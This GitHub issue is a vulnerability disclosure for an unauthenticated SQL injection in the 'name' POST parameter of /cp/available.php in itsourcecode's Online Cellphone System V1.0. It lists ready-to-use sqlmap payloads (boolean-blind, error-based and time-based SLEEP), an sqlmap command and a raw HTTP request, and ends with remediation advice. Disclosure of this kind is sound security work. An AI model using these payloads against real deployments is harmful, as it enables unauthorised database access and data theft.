New issue

itsourcecode Online Cellphone System V1.0 "/cp/available.php" SQL injection #3

Open

yihaofuweng opened 2 weeks ago

itsourcecode Online Cellphone System V1.0 "/cp/available.php" SQL injection

NAME OF AFFECTED PRODUCT(S)

- Online Cellphone System

Vendor Homepage

- https://itsourcecode.com/free-projects/php-project/online-cellphone-system-using-php/

AFFECTED AND/OR FIXED VERSION(S)

- V1.0

submitter

- 学生：温卓霖 导师：杨建业 第一单位：广州大学

Vulnerable File

- /cp/available.php

VERSION(S)

- V1.0

Software Link

- https://itsourcecode.com/free-projects/php-project/online-cellphone-system-using-php/

PROBLEM TYPE

Vulnerability Type

- SQL injection

Root Cause

- A SQL injection vulnerability was found in the '/cp/available.php' file of the 'Online Cellphone System' project. The reason for this issue is that attackers inject malicious code from the parameter 'MULTIPART name ((custom) POST) ' and use it directly in SQL queries without the need for appropriate cleaning or validation. This allows attackers to forge input values, thereby manipulating SQL queries and performing unauthorized operations.

Impact

- Attackers can exploit this SQL injection vulnerability to achieve unauthorized database access, sensitive data leakage, data tampering, comprehensive system control, and even service interruption, posing a serious threat to system security and business continuity.

DESCRIPTION

- During the security review of "Online Cellphone System",I discovered a critical SQL injection vulnerability in the "/cp/available.php" file. This vulnerability stems from insufficient user input validation of the 'MULTIPART name ((custom) POST) ‘ parameter, allowing attackers to inject malicious SQL queries. Therefore, attackers can gain unauthorized access to databases, modify or delete data, and access sensitive information. Immediate remedial measures are needed to ensure system security and protect data integrity.

No login or authorization is required to exploit this vulnerability

Vulnerability details and POC

Vulnerability lonameion:

- 'MULTIPART name ((custom) POST)' parameter

Payload:

```
---
Parameter: MULTIPART name ((custom) POST)
    Type: boolean-based blind
    Title: MySQL RLIKE boolean-based blind - WHERE, HAVING, ORDER BY or GROUP BY clause
    Payload: ------WebKitFormBoundaryUaHfNzJmW70gmPNB
Content-Disposition: form-data; name="name"

123' RLIKE (SELECT (CASE WHEN (7689=7689) THEN 123 ELSE 0x28 END))-- Lova
------WebKitFormBoundaryUaHfNzJmW70gmPNB
Content-Disposition: form-data; name="foodid"

4
------WebKitFormBoundaryUaHfNzJmW70gmPNB
Content-Disposition: form-data; name="address"

123
------WebKitFormBoundaryUaHfNzJmW70gmPNB
Content-Disposition: form-data; name="contact"

123
------WebKitFormBoundaryUaHfNzJmW70gmPNB
Content-Disposition: form-data; name="oqty"

123
------WebKitFormBoundaryUaHfNzJmW70gmPNB
Content-Disposition: form-data; name="otype"

Deliver
------WebKitFormBoundaryUaHfNzJmW70gmPNB
Content-Disposition: form-data; name="datep"


------WebKitFormBoundaryUaHfNzJmW70gmPNB
Content-Disposition: form-data; name="savechanges"


------WebKitFormBoundaryUaHfNzJmW70gmPNB--

    Type: error-based
    Title: MySQL >= 5.0 OR error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)
    Payload: ------WebKitFormBoundaryUaHfNzJmW70gmPNB
Content-Disposition: form-data; name="name"
```

```
123' OR (SELECT 7145 FROM(SELECT COUNT(*),CONCAT(0x7171627871,(SELECT (ELT(7145=7145,1))),0x7
------WebKitFormBoundaryUaHfNzJmW70gmPNB
Content-Disposition: form-data; name="foodid"

4
------WebKitFormBoundaryUaHfNzJmW70gmPNB
Content-Disposition: form-data; name="address"

123
------WebKitFormBoundaryUaHfNzJmW70gmPNB
Content-Disposition: form-data; name="contact"

123
------WebKitFormBoundaryUaHfNzJmW70gmPNB
Content-Disposition: form-data; name="oqty"

123
------WebKitFormBoundaryUaHfNzJmW70gmPNB
Content-Disposition: form-data; name="otype"

Deliver
------WebKitFormBoundaryUaHfNzJmW70gmPNB
Content-Disposition: form-data; name="datep"


------WebKitFormBoundaryUaHfNzJmW70gmPNB
Content-Disposition: form-data; name="savechanges"


------WebKitFormBoundaryUaHfNzJmW70gmPNB--

    Type: time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
    Payload: ------WebKitFormBoundaryUaHfNzJmW70gmPNB
Content-Disposition: form-data; name="name"

123' AND (SELECT 2159 FROM (SELECT(SLEEP(5)))heiV)-- hQjr
------WebKitFormBoundaryUaHfNzJmW70gmPNB
Content-Disposition: form-data; name="foodid"

4
------WebKitFormBoundaryUaHfNzJmW70gmPNB
Content-Disposition: form-data; name="address"

123
------WebKitFormBoundaryUaHfNzJmW70gmPNB
Content-Disposition: form-data; name="contact"

123
------WebKitFormBoundaryUaHfNzJmW70gmPNB
Content-Disposition: form-data; name="oqty"

123
------WebKitFormBoundaryUaHfNzJmW70gmPNB
Content-Disposition: form-data; name="otype"
```

```
Deliver
------WebKitFormBoundaryUaHfNzJmW70gmPNB
Content-Disposition: form-data; name="datep"


------WebKitFormBoundaryUaHfNzJmW70gmPNB
Content-Disposition: form-data; name="savechanges"


------WebKitFormBoundaryUaHfNzJmW70gmPNB--


---
```

The following are screenshots of some specific information obtained from testing and running with the sqlmap tool:

```
sqlmap -r 1.txt --batch

POST /cp/availableframe.php HTTP/1.1
Host: 192.168.60.130
Content-Length: 809
Cache-Control: max-age=0
Origin: http://192.168.60.130
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryUaHfNzJmW70gmPNB
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko)
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apr
Referer: http://192.168.60.130/cp/availableframe.php
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Cookie: PHPSESSID=qpau9gegvnthc4r4it8f0r47d1
Connection: keep-alive

------WebKitFormBoundaryUaHfNzJmW70gmPNB
Content-Disposition: form-data; name="name"

123
------WebKitFormBoundaryUaHfNzJmW70gmPNB
Content-Disposition: form-data; name="foodid"

4
------WebKitFormBoundaryUaHfNzJmW70gmPNB
Content-Disposition: form-data; name="address"

123
------WebKitFormBoundaryUaHfNzJmW70gmPNB
Content-Disposition: form-data; name="contact"

123
------WebKitFormBoundaryUaHfNzJmW70gmPNB
Content-Disposition: form-data; name="oqty"
```

```
123
------WebKitFormBoundaryUaHfNzJmW70gmPNB
Content-Disposition: form-data; name="otype"

Deliver
------WebKitFormBoundaryUaHfNzJmW70gmPNB
Content-Disposition: form-data; name="datep"


------WebKitFormBoundaryUaHfNzJmW70gmPNB
Content-Disposition: form-data; name="savechanges"


------WebKitFormBoundaryUaHfNzJmW70gmPNB--
```

Suggested repair

1. **Use prepared statements and parameter binding:**
   Preparing statements can prevent SQL injection as they separate SQL code from user input data. When using prepare statements, the value entered by the user is treated as pure data and will not be interpreted as SQL code.

2. **Input validation and filtering:**
   Strictly validate and filter user input data to ensure it conforms to the expected format.

3. **Minimize database user permissions:**
   Ensure that the account used to connect to the database has the minimum necessary permissions. Avoid using accounts with advanced permissions (such as' root 'or' admin ') for daily operations.

4. **Regular security audits:**
   Regularly conduct code and system security audits to promptly identify and fix potential security vulnerabilities.

Metadata

Assignees

No one assigned

Labels

No labels

Projects

No projects

Milestone

No milestone

Relationships

None yet

Development

Code with agent mode

No branches or pull requests

Participants